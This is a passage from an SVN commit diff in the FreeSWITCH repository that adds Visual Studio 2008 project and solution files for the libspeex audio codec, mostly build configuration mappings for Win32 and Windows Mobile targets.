+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+		<File
+			RelativePath=".\ReadMe.txt"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex.sln

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex.sln (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeex.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,439 @@
+Microsoft Visual Studio Solution File, Format Version 10.00
+# Visual Studio 2008
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libspeex\libspeex.vcproj", "{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "speexdec", "speexdec\speexdec.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "speexenc", "speexenc\speexenc.vcproj", "{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testdenoise", "tests\testdenoise.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}"
+	ProjectSection(ProjectDependencies) = postProject
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testecho", "tests\testecho.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc", "tests\testenc.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc_uwb", "tests\testenc_uwb.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc_wb", "tests\testenc_wb.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testresample", "tests\testresample.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}"
+	ProjectSection(ProjectDependencies) = postProject
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeexdsp", "libspeexdsp\libspeexdsp.vcproj", "{03207781-0D1C-4DB3-A71D-45C608F28DBD}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug_RTL_dll|Win32 = Debug_RTL_dll|Win32
+		Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Debug_WM5_PPC_ARM|Win32 = Debug_WM5_PPC_ARM|Win32
+		Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Debug|Win32 = Debug|Win32
+		Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_Dynamic_SSE|Win32 = Release_Dynamic_SSE|Win32
+		Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_Dynamic|Win32 = Release_Dynamic|Win32
+		Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_RTL_dll|Win32 = Release_RTL_dll|Win32
+		Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_SSE|Win32 = Release_SSE|Win32
+		Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_SSE2|Win32 = Release_SSE2|Win32
+		Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_Static_SSE|Win32 = Release_Static_SSE|Win32
+		Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release_WM5_PPC_ARM|Win32 = Release_WM5_PPC_ARM|Win32
+		Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		Release|Win32 = Release|Win32
+		Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I) = Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Win32.ActiveCfg = Debug_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Win32.Build.0 = Debug_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE|Win32.Build.0 = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Win32.ActiveCfg = Release_Dynamic|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Win32.Build.0 = Release_Dynamic|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Win32.ActiveCfg = Release_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Win32.Build.0 = Release_RTL_dll|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Win32.ActiveCfg = Release_SSE2|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Win32.Build.0 = Release_SSE2|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Static_SSE|Win32.ActiveCfg = Release_Static_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Static_SSE|Win32.Build.0 = Release_Static_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_Static_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_Static_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_WM5_PPC_ARM|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Deploy.0 = Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.Build.0 = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic|Win32.ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic|Win32.Build.0 = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_RTL_dll|Win32.Build.0 = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE2|Win32.ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE2|Win32.Build.0 = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release|Win32.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release|Win32.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug|Win32.ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic|Win32.ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic|Win32.Build.0 = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_RTL_dll|Win32.Build.0 = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE2|Win32.ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE2|Win32.Build.0 = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_SSE2|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Static_SSE|Win32.ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_Static_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_WM5_PPC_ARM|Win32.ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_WM5_PPC_ARM|Win32.Build.0 = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE2|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release|Win32.ActiveCfg = Release|Win32
+		{CD6043D1-D5E7-46D0-854F-00BB1BC308FC}.Release|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_RTL_dll|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_RTL_dll|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_WM5_PPC_ARM|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_WM5_PPC_ARM|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug|Win32.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug|Win32.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_RTL_dll|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_RTL_dll|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_RTL_dll|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE|Win32.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE|Win32.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_SSE|Windows Mobile 5.0 Pocket PC SDK (ARMV4I).ActiveCfg = Release_SSE|Win32
